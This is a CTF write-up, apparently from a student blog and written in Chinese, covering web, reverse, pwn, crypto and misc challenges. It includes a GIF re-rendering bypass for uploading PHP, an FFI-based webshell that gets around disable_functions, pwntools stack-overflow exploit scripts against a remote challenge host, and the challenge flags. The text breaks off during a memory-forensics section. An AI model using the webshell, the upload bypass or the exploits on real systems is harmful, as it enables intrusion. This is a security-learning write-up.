代码很大一坨,简化一下(挑出我们想利用的部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: index.php");
die();
}

include "class.php";

if (isset($_GET['sent'])) {
$file_array = $_POST['file'];
$file_location = 'uploads/';
$file_num = sizeof($file_array);
if (!$file_num) {
header("Location: index.php");
die();
}
for ($i = 0; $i < $file_num; $i++) {
$this_file_json_object = $file_array[$i];
$this_file = json_decode($this_file_json_object, true);
$this_file_name = $this_file["name"];
$this_file_type = $this_file["type"];
$this_file_data = $this_file["data"];
$this_file_extension = substr($this_file_name, strrpos($this_file_name, '.') + 1);
// 以上几行都是获取文件信息
if (($this_file_extension == "gif") && ($this_file_type == "image/gif")) {
// 检查后缀和content-type
$this_file_name = sha1(date('YmdGHs') . substr(microtime(true), 11, 4) . $_SESSION['username'] . $this_file_name) . '.' . $this_file_extension;
$this_file_save_path = $file_location . $this_file_name;
$this_file_decode_data = base64_decode($this_file_data);
file_put_contents($this_file_save_path, $this_file_decode_data);
// 给文件重命名
if($this_file_type == "image/gif"){
// 使用上传的图片进行二次渲染
$im = @imagecreatefromgif($this_file_save_path);
@unlink($this_file_save_path);
imagegif($im,$this_file_save_path);
}
$image = new Image();
$image->insert($this_file_name);#在数据库中保存文件名
}
}
header("Location: index.php");
die();
}

选Gif是因为Gif格式的二次渲染比较容易绕,首先先制作一个gif(随便找张图片->画图打开->另存为gif即可),然后在文件末尾写个<?php phpinfo();?>,上传,上传后下载回来比较文本,(文本比较工具:BeyondCompare,也是功能强大的工具,可以比较多种类型文件(纯文本、十六进制等)强推!)发现末尾的一句话没了,但是其他部分都没有变化

image-20211204111407546

随便找个地方写进<?php phpinfo();?>,上传,通过文件包含可以看到成功解析写入的php代码

image-20211204124110099

接着写入一句话并上传,执行系统命令cmd=system('ls');,没有反应,查看了一下phpinfo的配置,可以发现禁用了大量函数

image-20211204125706363

其中就包含了system,不过没有禁用print_rscandir,我们可以先目录遍历一下:cmd=print_r(scandir('/'));

image-20211204130917645

发现根目录有两个可疑文件,flag和readflag,问题在于怎么读出flag,在搜常用的disable function bypass(参考1参考2参考3)时发现了,当php>7.4且FFI开着时,有个FFI Bypass,这时发现了我们题目的php环境正是7.4且他的FFI是开着的(话说原来FFI全称是Foreign Function Interface,还真是题目的hint…)

image-20211204125946678

FFI其实就是一个外部函数接口,让我们可以在php里面调用C代码(先mark下,后期整理)

FFI EXP

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$cmd = $_POST['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>

作用:其实也是一句话木马,cmd参数,传给C语言执行系统命令,并将执行结果重定向到/tmp/123,这有两个原因:一是c语言的system函数执行后无回显,所以需要将执行结果外带;二是需要一个我们有权限读到结果的文件,所以这里选了/tmp目录

效果:post参数传cmd=ls ../../../查看根目录,命令执行成功

image-20211204133148798

尝试直接cat /flag失败,于是尝试执行readflag,成功读出

image-20211204133822604

其实这里有点马后炮了,出题人的意思是要先查看权限(whoami发现我们是www-data权限),得知flag读不了,再去执行readflag

image-20211204134304508

美化一下

image-20211204134237666

flag:flag{389f6784d8d9e35944001b6c2dd848cc}

Web后记:比赛时最后两题没做出来一开始还有点遗憾,不过后面发现确实给时间也不一定能做出来,还是有些知识点没接触过的,然后不知道有没有人发现我全程没用蚁剑!!毕竟校网有时会拦截蚁剑流量,所以想尽量通过post直接执行shell(毕竟蚁剑本质上也是通过这种方式做事的)

Reverse

signin

拖入ida看main的伪c(将Buf2简化一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
size_t v4; // rax
char Buf2[32]; // [rsp+20h] [rbp-60h] BYREF
char Str[96]; // [rsp+40h] [rbp-40h] BYREF
int v8; // [rsp+A0h] [rbp+20h]
unsigned __int64 j; // [rsp+B0h] [rbp+30h]
unsigned __int64 i; // [rsp+B8h] [rbp+38h]

_main(argc, argv, envp);
memset(Str, 0, sizeof(Str));
v8 = 0;
Buf2 = [102,11,104,12,115,1,98,9,98,4,99,13,94,39,70,22,84,32,109,9,114,21,111,28,37,65]
printf("input flag: ");
scanf("%100s", Str);
if ( strlen(Str) == 26 )
{
for ( i = 0i64; ; ++i )
{
v3 = strlen(Str);
if ( i >= v3 )
break;
Str[i] = 2 * (i | Str[i]) - i - Str[i];
}
for ( j = 1i64; ; ++j )
{
v4 = strlen(Str);
if ( j >= v4 )
break;
Str[j] = 2 * (~Str[j] & Str[j - 1]) - (~Str[j] | Str[j - 1]) + (Str[j] | ~Str[j - 1]);
}
if ( memcmp(Str, Buf2, 0x1Aui64) )
{
puts("wrong!");
exit(-1);
}
puts("right! ");
exit(0);
}
puts("wrong! ");
return 0;
}

逻辑:输入的Str,经过两轮for循环计算,若与buf相等,则right,输入的Str即为flag

逆向python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*-coding:utf-8-*-
"""
by vvmdx
2021/11/27 21:09
"""
buf = [102,11,104,12,115,1,98,9,98,4,99,13,94,39,70,22,84,32,109,9,114,21,111,28,37,65]
flag = [0]*26
tmp = [0]*26

def re():
for j in range(1, 26):
Strj = 0
while buf[j] != 2 * (~Strj & buf[j-1]) - (~Strj | buf[j-1]) + (Strj | ~buf[j-1]):
Strj += 1
tmp[j] = Strj

tmp[0]=buf[0]

for i in range(26):
Stri = 0
while tmp[i] != 2 * (i | Stri) - i - Stri:
Stri += 1
flag[i] = Stri

f=''
for i in flag:
f += chr(i)
print(f)

re()

flag:flag{welcome_to_Re_world!}

Pwn

div_overflow

  • 参考:2021强网no_output

checksec看下保护

image-20211128205242304

栈上代码不可执行,其他无保护

ida看一下

  • main

    image-20211129094342650

    输入v5,v4,执行v5=v5/v4后打印字符串退出

  • init

    image-20211129094515948

    一个时钟,一个信号singnal,表示捕捉到8信号的时候中断并执行backdoor函数

  • backdoor

    image-20211129094824534

    buf数组长度为80(0x50),但read会读0x100

  • getshell

    image-20211129094851964

    弹个shell

思路

  1. 触发8信号(除0或是除法发生溢出)产生中断执行backdoor
    • int类型表示范围:-2^31^(-2147483648)~2^31^-1(2147483647)
    • 溢出构造:-2147483648/-1 = 2147483648 大于int最大值,上溢
  2. backdoor给了个栈溢出,可以利用他将返回地址覆盖为getshell函数的地址

调试

  1. 断点打到backdoor,除法溢出触发中断

    image-20211129104747180

  2. 进入backdoor后,buf为-0x50,也就是buf会从rbp-0x50的位置开始读

    image-20211129113019447

    构造一个‘a’*57的字符串(不是58是因为没用pwntool的话回车会算一个字符别骂了别骂了我还是对pwntool交互不熟…),发送后发现RBP已经被修改为aaaaaaa\n,

    image-20211129112756506

    接着就是leave和ret

  3. 将上一步的payload修改为‘a’*58+0x4007c7(getshell的地址)(当然这里next的话会出错,因为多了个换行符),可以看到rsp的值被覆盖

    image-20211129113933119

  4. 本地程序测试一下

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    p =process('./div_overflow')
    payload = b'a'*(0x50+8)+p64(0x4007c7)
    p.sendlineafter('Please input the first key :','-2147483648')
    p.sendlineafter('And the second key :','-1')
    p.sendlineafter("Hero, please leave your name :",payload)
    p.interactive()

    image-20211129114224664

    getshell成功

  5. 远程打

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    p = remote("35.229.138.83",14056)
    payload = b'a'*(0x58)+p64(0x4007cb)
    p.sendlineafter('Please input the first key :','-2147483648')
    p.sendlineafter('And the second key :','-1')
    p.sendlineafter("Hero, please leave your name :",payload)
    p.interactive()

    image-20211129115520601

    这好奇怪,本地用0x4007c7是打得通的,但是远程打不通,要用0x4007c8或者0x4007cb才能通…mark一下后期再找原因

flag:flag{DIvSiOn_So_EAsy_YeS_vwtub468}

Crypto

proof_of_work

爆破sha-256前4位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
import string

String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"

def pow():
behind = "98BUbI5iG036"
hashValue = "6b18dccbb71a096c46d9412876c56a2da6ba05924ff735f557db22cc4f957084"
font = ""
for chr1 in String:
for chr2 in String:
for chr3 in String:
for chr4 in String:
if hashlib.sha256((chr1+chr2+chr3+chr4+behind).encode()).hexdigest()==hashValue:
print(chr1+chr2+chr3+chr4)
break

pow()

flag:flag{f8f0e603-8a2f-4870-b81d-972ab039cfe9}

RSAStudy

  • m1:给了c、d、n ==> $m = c^{d} mod n$
  • m2:n太小,直接在线分解出p、q
  • m3:n特别大,e特别小,因为 $c = m^{e} mod n$ ,m^e^ 若没n大可以直接对c开e次方得到m
  • m4:e是20位的素数,直接遍历所有20位的素数,尝试解密,若解密后有不可见字符则跳过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*-coding:utf-8-*-
"""
by vvmdx
2021/11/28 12:41
"""
import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
import gmpy2 as gp

def round1():
n=95845527018839717086294472801605969145676365231323758473521266785720550109591787727210641248040429782803493016018678284969424032513894656011258597991697123040906458428931870959461677035741748707260523109808863069423504777871574127439549082056993303443656505762993233175718191683881904506062498915962417071789
c=2743851142411869248379118038924192049907457070259670722109251021395015205941929560302259759641549680271828782036817328489468187264127325193565012371464631997314398207482280969688296263968695775596468250952244684716979339562706861283018153500950741985494526881474375594286490427451426606421116634452945047605
d=65537
m=pow(c,d,n)
return long_to_bytes(m)

def round2():
c = 274750938859955592330167122790
n = 1048902211749325097416799151481
p = 974807353794173
q = 1076009744557997
e = 65537
phi=(p-1)*(q-1)
d=primefac.modinv(e,phi)%phi
m = pow(c, d, n)
return long_to_bytes(m)

def round3():
n = 18640453489846331794602191747384447703024621993552658501476696307679684008154005802771261130041658000561889540274009131700240237659287434541418323028846854355269787944453313835791228722277309297931161110883060221995194685589684429615817460852313446831810137461857903760896607816014479990108841010359179102028416135867395092471836379674595823743903909119762066042254313890615403656895858669191932404241413414070325709045864882216481803888089008965624519610385223131745453733259902207802062978354791651088711792816246223044537642881905697525313174348622880095283912119417292107480433157927992842659096964533277137708767
c = 13969703385633449917197462425856544850480430207326112090281028915798236467064796479689673052775063674313997314578301227112023113231160584900205532344903858838917789706414684555675461637374321137483769853828107957693180026066461057479661682997954262743
e = 5
m = gp.iroot(c, e)[0]
return long_to_bytes(m)

def round4():
c = 48550724605239802490802735574619837128533770018799115422170750355571787084837240190282906968166893355816737962546909133079904697609749525658204283046328033928358557965523296167973202608220777994289583796713172282988376178189667994774528015752536586401007481994828159257922229204681186681408471675557339260115
n = 148275690073399102757048819433714926762037969527548279777577605259904188326232564956361831483283388786152723842541087715605543367891265806905933557709191406802930750432995226932444699925443718361381501104621526480808485597229438878264469665328020014789196441181019668546309454418367288885685595286146455127111
p = 12385419895051073291767171828313134764541962212376482960822734800239044848678560002976975547592969326422618567674410577670493481798328745250071880326343129
q = n / p
phi = (p-1)*(q-1)
e = 2**19
while gp.is_prime(e) != True:
e += 1
while e < 2**20:
d = gp.invert(e, phi)
m = pow(c, d, n)
s = long_to_bytes(m)
if s[-1:] == b'}':
notPrint = 0
for char in s:
if ord(char) < 32 or ord(char) > 126:
notPrint = 1
break
if notPrint == 0:
return s
e = gp.next_prime(e)

if __name__ == "__main__":
flag = round1() + ' ' + round2() + ' ' + round3() + ' ' + round4()
print flag

flag:flag{if you miss the train I'm on, You will know that I am gone}

MISC

签到

image-20211122113321922

flag: flag{welcome_to_xp0int_ctf_2021!!!}

guesssssssme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
You konw:
1GJ411x7h7=80433022=【
19v411g7mU=251059264=A

Now let's go!
----------------------
1x54y1p7We
1ah411r7ar
1qy4y147dv
1ox411h7JS
1yo4y1d7UK
1Ms411Q7q7
1HW411Z7Nm
1Ks411a7uU
17J411B7a9
1rW411x7is
1NT4y1E7RC
1UW411W7K3
1GW41187mN
1mN411Z7tA
-----------------------
#结果全转换成小写,并包裹flag{}

一开始以为是什么奇怪的编码,拿第一个百度了一下,震惊,居然和某个b站视频bv号一样

思路:这些bv号对应的视频的首字母连起来即为flag

其实也没几个视频,,b站一个个搜就完事了,,不知道谁那么无聊还写了个脚本去爬

不过后来发现好像直接用bv也行?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*-coding:utf-8-*-
"""
by vvmdx
2021/11/22 18:35
"""
import requests
import re
table='fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'
tr={}
for i in range(58):
tr[table[i]]=i
s=[11,10,3,8,4,6]
xor=177451812
add=8728348608

def dec(x):
r=0
for i in range(6):
r+=tr[x[s[i]]]*58**i
return (r-add)^xor

def enc(x):
x=(x^xor)+add
r=list('BV1 4 1 7 ')
for i in range(6):
r[s[i]]=table[x//58**i%58]
return ''.join(r)

bv=['1x54y1p7We','1ah411r7ar','1qy4y147dv','1ox411h7JS','1yo4y1d7UK','1Ms411Q7q7','1HW411Z7Nm','1Ks411a7uU','17J411B7a9',
'1rW411x7is','1NT4y1E7RC','1UW411W7K3','1GW41187mN','1mN411Z7tA']

def getBilibili(url):
proxies = {'http': "http://localhost:7890", "https": "http://localhost:7890"}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'
}
res = requests.get(url=url, headers=headers, proxies=proxies)
title = re.findall('<title data-vue-meta="true">(.*?)</title>', res.text)
print(title)
return title

def getFlag():
url = 'https://www.bilibili.com/video/'
av = []
flag = ''
for b in bv:
flag += getBilibili(url+'av' + str(dec('BV'+b)))[0][0]
print('flag{' + flag.lower() + '}')

if __name__ == '__main__':
getFlag()

结果:

image-20211122200522070

flag:flag{menggushangdan}

fgo

尝试了获取每张小图片的时间戳,结果精度不够,排不了序

不知道怎么做了,好在我有一个破解版ps,有一个性能还算可以的电脑,还有一个快要废了的肝

image-20211122223450922

拼了我3个小时吧,拼的头都裂了,蹲一个官方wp再更新

flag:flag{Fa73-Grand-Ord3r!!}

77777

题目提示led,搜了好久终于搜到相关信息:七段式led显示器/数码管

image-20211124235528700

a~g分别代表一根灯管,不同的组合代表不同的数字,先写个脚本把附件里出现的组合dump出来,写入字典(这里有个坑,文件并不完全是txt,文件头有0xff,0xfe 不知道是什么,反正用winhex去掉就完事了)

1
2
3
4
5
6
7
8
9
10
11
12
def LedCode():
with open("77777.txt",'rb') as f:
a = f.read().split()
ledCode = set()
for s in a:
s = str(s)[2:-1].replace('\\x00','')
if s != '':
ledCode.add(s)

print(ledCode)

# {'abcdef', 'fgcda', 'fgbc', 'afedcg', 'abc', 'abcdefg', 'afgbcd', 'abgcd'}

接着按照字典,遍历文件,把七段式转换为数字,按每行512个写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def writeLed():
with open("77777.txt",'rb') as f:
a = f.read().split()
ledArr=[]
for s in a:
s = str(s)[2:-1].replace('\\x00','')
if s != '':
ledArr.append(s)
led = {'afgbcd':9,'fgcda':5,'abcdefg':8,'abcdef':0,'abc':7,'fgbc':4,'abgcd':3,'afedcg':6}
ledNum=[]
f=open('led.txt','w')
count = 1
for code in ledArr:
count += 1
if count % 512 == 0:
print("", file=f)
print(led[code], end="", file=f)

f.close()

image-20211125002007640

其实到这里已经勉强能看出flag了,不过有的人还是太无聊,写了个脚本把他对比度调高(每个七段式对应一个rgb)

1
2
3
4
5
6
7
8
9
10
11
12
color = {'afgbcd':(100,0,0),'fgcda':(100,100,0),'abcdefg':(100,100,100),
'abcdef':(100,0,100),'abc':(0,100,100),'fgbc':(0,100,100),
'abgcd':(0,100,0),'afedcg':(0,0,0)}
def create_img(ledArr):
img = np.zeros((69, 512, 3), dtype=np.uint8)
ledArr = np.array(ledArr).reshape((69,512))
print(ledArr)
for i in range(69):
for j in range(512):
img[i,j] = color[ledArr[i][j]]
cv2.imshow("img", img)
cv2.waitKey()

执行效果:

image-20211125002230632

flag:flag{as5d6-68t2z6-apb33-arg}

Eeay_C51

论找软件、画电路图、了解单片机运行原理、找bug整了整整一天,还在奇怪为什么那么多人把这题秒了的时候,发现1.hex文件可以直接反汇编是什么心情…..

  • 先用在线仿真画图(u1s1体验不错,国产之光)

    image-20211125193437731

    但是画完了不懂怎么仿真,找不到地方导入hex文件,搜了一下好像是用来仿真电路,但没办法编译程序?

  • 后来又找了multisim直接画仿真

    image-20211125193841686

    然后在板子上导入1.hex文件跑起来,很遗憾,可能是我接线问题(别骂了别骂了)没跑出效果

  • 最后继续搜资料,发现1.hex文件是由写在板子上的c程序编译生成的,我们知道pwn和re用ida反编译的二进制文件也是c编译生成的,,所以就把1.hex丢进ida了

    image-20211125194117246

好家伙,直接白学一天单片机白画一天图

flag:flag{Hi_t0_C51}

FFIVE

win10刷新快捷键:f5,搜索了一下 基本确定是f5隐写

实锤:图片头部有早期f5隐写插入的文本

image-20211125124532608

F5隐写解密工具:https://github.com/matthewgao/F5-steganography

解密:java Extract Xp0int1.jpg (这不得不说我一直以为-p passwd是必须要的参数,试了Xp0int1、123456,还在winhex里仔细的翻有没有把密码写在里面,结果发现其实是可以没有密码的)

解密出output.txt,打开乱码

image-20211125125106260

文件头PK => zip包格式 => 改后缀 => 解压 =>

image-20211125125203953

搜一下,是Brainfuck编码(注:Brainfuck翻译为脑残),找个在线Brainfuck解码

image-20211125125414369

flag:flag{ad45f2-a52f3-ae956ff-ac4b2e}

套娃

套了5000个zip,直接脚本跑

1
2
3
4
5
6
7
8
9
import zipfile

def un_zip():
for i in range(4999, 0, -1):
zf = zipfile.ZipFile("D:\\flag\\flag" + str(i) + ".zip")
for name in zf.namelist():
zf.extract(name, "D:\\flag")

un_zip()

答案在flag0里面

image-20211125161118184

flag:flag{extract_extract_extract_and_4lmost_there~}

zero_width

零宽字符,网上很多解析了(解析1解析2

打开flag.txt看起来什么都没有,实际上右键看属性或者丢进010或者winhex都能看到有很多东西,下图是vim查看的效果

image-20211126191219704

python脚本解密(试了一些在线解密,都不太正常,这和很多因素有关,建议有本地解密脚本最好用本地解密)

在线解密1在线解密2在线解密3在线解密4

本地脚本github:https://github.com/enodari/zwsp-steg-py

截图好像好一点…因为复制代码的话md里零宽字符会变成一点

image-20211126193528495

flag:flag{98055234-e9e1-4c76-b1b0-fedb03d523ce}

boom shakalaka

给的文件提示很明显了,DES加密,CBC工作模式,PAD_PKCS5填充方式,密钥,初始向量都给了,暴破 ? 处的密文即可

1
2
3
4
5
6
7
8
92F7B9?2101134780DC5A6584025EBDAA3A182407EB3?11275D3D592808998A5CA556C88DD6228AC53C389?A4B69040A0C7045E8B9F064C89A0F1795232F4AFA17C79F5A784?6A02

hint:
DES
CBC
PAD_PKCS5
key = "pl2iz!z."
iv = key

python暴破脚本(Crypto库好像找不到填充方式的选项?pyDes库就没问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pyDes import des,PAD_PKCS5,CBC,ECB

key = 'pl2iz!z.'
iv = key

cipher = "92F7B9{}2101134780DC5A6584025EBDAA3A182407EB3{}11275D3D592808998A5CA556C88DD6228AC53C389{}A4B69040A0C7045E8B9F064C89A0F1795232F4AFA17C79F5A784{}6A02"
hexStr = '0123456789ABCDEF'

def dec():
obj = des(key, CBC, iv, padmode=PAD_PKCS5)
for i in hexStr:
for j in hexStr:
for k in hexStr:
for l in hexStr:
try:
decStr = obj.decrypt(bytes.fromhex(cipher.format(i, j, k, l)))
except:
pass
else:
if decStr[:5] == b'flag{' and decStr[-1:] == b'}':
print(decStr)

dec()

匹配出来找到正常的那个就行了

image-20211127094431382

flag:flag{We_know_that_brute_f0rce_1s_4_go0d_method_to_hack_the_wor1d!!!}

EZQIM

  • 量化索引调制水印
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
clear
global delta
global b
delta=uint8(16);
b=uint8(2);
lena=imread("lena.jpg");% 512*512
flag=imread("flag.jpg");% 512*80
for i=1:80
for j=1:512
if(flag(i,j)<200)
flag(i,j)=0;
else
flag(i,j)=1;
end
end
end
watermarked_lena=reshape(Embed(reshape(lena,1,[]),reshape(flag,1,[])),512,512);
imwrite(watermarked_lena,"watermarked_lena.jpg");
function m=Embed(p,s)
global delta;
global b;
m=p;
for i=1:length(s)
m(i)=uint8((p(i)+delta*s(i))/(b*delta))*b*delta+s(i)*delta;
end
end

matlab没环境也看不懂,,,好在代码不多,找找资料还是能看出在写什么的,用python重写了一遍(应该没错吧)

matlab和python还是有点区别的,比如数组下标、cv2读取的通道顺序、numpy reshape的存取顺序都有差,这点费了我好大劲(挺离谱的,学计算机这么久没用过matlab….)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import numpy as np
from numpy import uint8
from cv2 import imread,imwrite
from copy import deepcopy
import matplotlib.image

delta = uint8(16)
b = uint8(2)
lena=matplotlib.image.imread("lena.jpg") # 512*512
flag=matplotlib.image.imread("flag.jpg") # 512*80

# matlab中下标从1开始,python从0开始
for i in range(80):
for j in range(512):
if flag[i][j] < 200:
flag[i][j] = 0
else:
flag[i][j] = 1

def Embed(p, s):
m = deepcopy(p)
for i in range(len(s)):
m[i] = uint8((p[i] + delta * s[i]) / (b * delta)) * b * delta + s[i] * delta
return m

# matlab的reshape按列存新数据,python按行存,所以python中要设置读取顺序和matlab一样
p = np.array(lena).reshape(-1,order="F")
s = np.array(flag).reshape(-1,order="F")
watermarked_lena = np.array(Embed(p, s)).reshape((512, 512),order="F")
imwrite("watermarked_lena.jpg", watermarked_lena)

核心代码很简单,读取flag和lena两张图(不是rgb,均为8位灰度值),flag每个像素点的灰度值>=200则置1,小于200置0,用m[i] = uint8((p[i] + delta * s[i]) / (b * delta)) * b * delta + s[i] * delta 改变lena的部分像素点(就是嵌入水印信息的意思),其中p为lena,s为flag根据灰度值映射后的结果,得到最终的水印图

介绍下QIM(Quantization Index Modulation,量化索引调制)

QIM算法的主要思想是:根据水印信息, 把原始载体数据用量化器量化到不同的索引区间, 水印检测时则根据调制后的数据所属的量化索引区间来识别水印信息。

太过学术的文章我觉得反而比较难懂…我找了两个博客感觉勉强容易理解一些(博客1博客2

用本题的例子来理解就是(做出来后和出题人聊了下,好像我的理解好像还是有偏差?算了反正整出来了):

  1. 每个像素点的灰度值范围是0~255(uint8),其中区间长度(步长)为delta=16,假设0~15为A区间,那么16~31为B区间,32~47为A区间,48~63为B区间….以此类推,将0~255分为A、B交错的两个区间
  2. flag的像素点灰度值大于200置为1,小于200置为0,得到数组s[512][80],当然后面会reshape为一维的s[512*80]
  3. 将lena进行量化:lena[512][512]reshape为一维的p[512*512];在s的长度(51280)内,若s[i]为1,则p[i]的像素值修改为$\lfloor(p[i]+16)/32\rfloor 32 + 16$ ,也即落在A区间(假设),若s[i]为0,则p[i]的像素值修改为$\lfloor(p[i])/32\rfloor * 32$,也即落在B区间(与A对应)
  4. 因此在我们得到一副水印图时,首先提取出嵌入水印的部分(reshape为一维数组后的前512*80个值),然后根据像素点的灰度值,若灰度值落在A区间(灰度值地板除16模2余1),则s[i]=1,若灰度值落在B区间,则s[i]=0,以此推出水印的信息,最后再给s的0和1赋上足够对比度的值(我用1=>200,0=>50),reshape一下就可以得到水印信息

matlab脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
clear
global delta
global b
delta=uint8(16);
b=uint8(2);
wmlena=imread("watermarked_lena.jpg");
flag=reshape(zeros(80,512),1,[]);
wm=reshape(wmlena,1,[]);
tmp=wm;
for i=1:length(flag)
y=uint8(wm(i)/delta);
z=mod(uint8(wm(i)/delta),2);
if(mod(uint8(wm(i)/delta),2)==1)
flag(i)=0;
else
flag(i)=1;
end
end
img=reshape(flag,80,512);
for i=1:80
for j=1:512
if(img(i,j)==0)
img(i,j)=50;
else
img(i,j)=200;
end
end
end

img=uint8(img);
imwrite(img,"img.jpg");

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*-coding:utf-8-*-
"""
by vvmdx
2021/11/27 12:52
"""
import numpy as np
from numpy import uint8
import cv2
import matplotlib.image

delta = uint8(16)
b = uint8(2)

wm_lena = matplotlib.image.imread("watermarked_lena.jpg")
wm = np.array(wm_lena).reshape(-1,order="F")

flag = np.zeros((80,512))
flag = np.array(flag).reshape(-1)
for i in range(len(flag)):
if (wm[i]//16)%2 == 1:
flag[i] = 0
else:
flag[i] = 1

flag = np.array(flag).reshape((80,512),order="F")
for i in range(80):
for j in range(512):
if flag[i][j] == 1:
flag[i][j] = 200
else:
flag[i][j] = 50

flag = np.array(flag, dtype=np.uint8)
cv2.imwrite("flag.jpg",flag)
cv2.imshow("flag",flag)
cv2.waitKey()

效果:

matlab:

image-20211128105614730

python:

image-20211128110248622

u1s1python跑不出这个效果(我甚至把区间调的很大才有上图这个效果,如果是16完全看不出来),不知道为什么,懒得找原因了,我电脑没matlab,找了个在线的盲写了一天代码(还是现学的…)一天都在思考怎么用python表达出来,虽然有个smop(github)可以将matlab转python,但是转的很离谱….还不如自己改,结果晚上回宿舍用舍友电脑matlab一下子就跑出来了,麻了(另外吐槽下出题人在flag后面注释了512*80,结果我一直用512行80列的矩阵去读,死活读不出来,最好随便改了下参数变成80*512居然就成了)

flag:flag{2a3b-89e-f594}

blind

  • 文件反转、图片分离、盲水印

给了一张图和一个压缩包,压缩包打不开,丢winhex里发现文件头和文件尾好像反了

504b0304是zip的文件头

image-20211128192707135

gnp.tuotuo 颠倒一下发现是outout.png

image-20211128192724711

文件反转,脚本直接跑

1
2
3
with open("secret.zip",'rb') as f:
with open('target.zip','wb') as g:
g.write(f.read()[::-1])

跑出正常的压缩包解压,只有一张outout.png,先放着,看看另一张图secret.png,打开发现有一半是黑的,binwalk看一眼,里面藏了个zip,zip里面还有张1.png

image-20211128194626919

分离,foremost分离后不太对劲,丢到winhex里看,发现他的文件头虽然是对的

image-20211128195216795

但是zip包文件目录区没了,反而是在文件尾发现了文件目录区和正常的文件尾

image-20211128195308952

不太懂什么原因,先mark一下,后期整理整理

分离文件的几个方法试完后

  • foremost secret.png
  • dd if=secret.png of=1.zip skip=248860 bs=1
  • binwalk secret.png -e

发现只有binwalk可以,而且还直接把1.png分离出来了,甚至跳过了zip伪加密的考点(应该是吧)

image-20211128195534472

我不理解 难道属于非那么预期?

搞完后发现其实文件目录区可以不用一定在开头…在上面文件尾部的压缩文件目录区找到伪加密的标志位改掉就正常解压了…

image-20211128200030379

麻了 搞我好多时间,我居然还想着把这段东西剪切到前面…

整完发现1.png和前面的outout.png长得一样,结合题目盲水印没跑了,工具:https://github.com/chishaxie/BlindWaterMark

一键提取python3 bwmforpy3.py decode 1.png outout.png flag.png --oldseed

image-20211128200350453

flag:flag{easy_misc}(居然不是ea5y_misc???怀疑出题人搞完都忘了自己藏的是什么…)

secret

u1s1这道题没做出来,很烦,搞了我大半个晚上,不知道怎么找压缩包密码了,蹲一波wp再更新

给了个image.raw文件,搜了一下,应该是内存取证的题

  • 工具:volatility(Kali好想2020开始就不预装这个了)
  • 直接下载linux的可执行文件,然后给文件夹和可执行文件改个名:volatility,增加环境变量export PATH=/mnt/hgfs/Kali_share/misc/volatility:$PATH即可命令行使用
  1. 查看系统信息

    volatility -f image.raw imageinfo

    image-20211127095428434

  2. 查看进程列表

    volatility -f image.raw --profile=WinXPSP2x86 pslist

    image-20211127095912668

    关注notepad.exe、7zFM.exe、cmd.exe三个进程

  3. 看一下cmd执行过的命令和notepad内容

    volatility -f image.raw --profile=WinXPSP2x86 cmdscan

    这个好奇怪,什么都没有

    volatility -f image.raw --profile=WinXPSP2x86 notepad

    image-20211127102514785

    找到flag了很可惜,并不是这个

  4. 对cmdscan的结果感到不满,发现还有其他找cmd的方法

    • dump出cmd的进程内存

      volatility -f image.raw --profile=WinXPSP2x86 memdump -p 528 -D .

    • cmdline看命令行执行了什么

      volatility -f image.raw --profile=WinXPSP2x86 cmdline

      image-20211127103538075

      找到两个可疑文件

  5. 查找一下和flag有关的文件

    volatility -f image.raw --profile=WinXPSP2x86 filescan|grep flag

    image-20211127100644676

  6. 把flag.txt dump出来

    volatility -f image.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000016fd440 -D .

    image-20211127102851574

    不知为何dump不出来,可能空文件?没懂

  7. 把aha.zipdump出来,并恢复为aha.zip

    • volatility -f image.raw --profile=WinXPSP2x86 filescan|grep aha
    • volatility -f image.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000019f5590 -D .

    • mv file.None.0x815f57f8.dat aha.zip

    image-20211127104108126

  8. 解压,发现要解压密码,继续找密码

    把一些可能有hint的地方找了个遍,,没找到有用的

    image-20211127105327368

  9. hashdump看用户密码

    1
    2
    3
    4
    5
    6
